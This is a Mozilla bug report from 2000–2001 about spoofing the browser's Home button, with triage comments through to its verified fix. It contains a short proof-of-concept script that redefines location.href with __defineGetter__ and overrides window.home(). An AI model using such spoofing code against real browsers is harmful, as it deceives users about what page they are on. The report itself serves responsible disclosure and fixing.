44014 - spoofing user's "Home"

Status: VERIFIED FIXED

(Core :: Security, defect, P2)

Description

[Mitchell Stoltz (not reading bugmail)]

Date: 
          Mon, 26 Jun 2000 16:48:03 +0300
   From: 
          Georgi Guninski <[e-mail]>
      To: 
          Mitchell Stoltz <[e-mail]>




It is possible to change the behavior of clicking the "Home" button or
choosing "Go|Home" from the menu.
The exploit uses __defineGetter__ and redefinion of window.home().
I think that allowing redefinition of predefined functions is not a good
idea.

The code is:
---------------------------------------
Press the "Home" button or choose "Go|Home" in the other window in 2
seconds.
<SCRIPT>
a=window.open("about:blank","a");
function f()
{
a.location.__defineGetter__("href",function() {return
"http://www.yahoo.com"});
a.window.home=new Function("this.document.body.innerHTML='Spoofed'");
a.window.home();
}
setTimeout("f()",2000);
</SCRIPT>
---------------------------------------

Comment 1

[Mitchell Stoltz (not reading bugmail)]

This testcase does not behave as described, but the vulnerabilities mentioned
should be addressed.

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Can't duplicate this exploit, marking M18 for post-Beta2. Re-address this exploit 
and look at the issue of redefining properties.

Comment 3

[Mitchell Stoltz (not reading bugmail)]

Fixing 36946 by marking key properties as PERMANENT will fix this too. As for 
__defineGetter__, this should be fixed now, i think.

Comment 4

[Mitchell Stoltz (not reading bugmail)]

I think this no longer works, marking nsbeta3 to remind myself to look at it.

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Nominating for RTM, and I have opened bug 54976 on the __defineGetter__ aspect
of this bug. Patrick, can you give me a + ?

Comment 6

[Mitchell Stoltz (not reading bugmail)]

Attachment: jst's patch - makes location permanent

Comment 7

[Mitchell Stoltz (not reading bugmail)]

I've posted jst's patch which adds JSPROP_PERMANENT to the location property.
This dosn't completely fix the problem. Looks like we have to protect
location.href as well. 

Comment 8

[selmer (gone)]

Mitch, are you happy with the patch in this bug?  Can it go to reviews?  (Is it
OK to strcmp against "LOCATION" vs "location" or using strcasecmp?)  The fix is
reasonably small.  If you think it's correct, it _might_ get approved for RTM...

Comment 9

[Mitchell Stoltz (not reading bugmail)]

This patch is not a complete fix. We need to restrict "location.href" as well.
I'll see about getting this done.

Comment 10

[Mitchell Stoltz (not reading bugmail)]

Future, since the fix is not ready yet.

Comment 11

[Mitchell Stoltz (not reading bugmail)]

removing rtm.

Comment 12

[John Unruh]

Mass changing QA to ckritzer.

Comment 13

[Mitchell Stoltz (not reading bugmail)]

Mass changing milestones to Moz0.9.1. Many of these bugs are dependent on the
XPConnected DOM and its associated security UI changes.

Comment 14

[Mitchell Stoltz (not reading bugmail)]

Georgi thinks this is no longer an issue. You can still redefine window.home()
but this doesn't change the behavior of the Home button anymore. There are a few
other bugs dealing with redefining built-in proerties, but that's covered
elsewhere, so I'm closing this one.

Comment 15

[ckritzer (gone)]

Marking VERIFIED FIXED per originator on:
-MacOS91 2001-05-21-15-trunk
-Win98SE 2001-05-22-06-trunk
-LinRH62 2001-05-22-05-trunk

Comment 16

[Mitchell Stoltz (not reading bugmail)]

Removing NS_Confidential flag.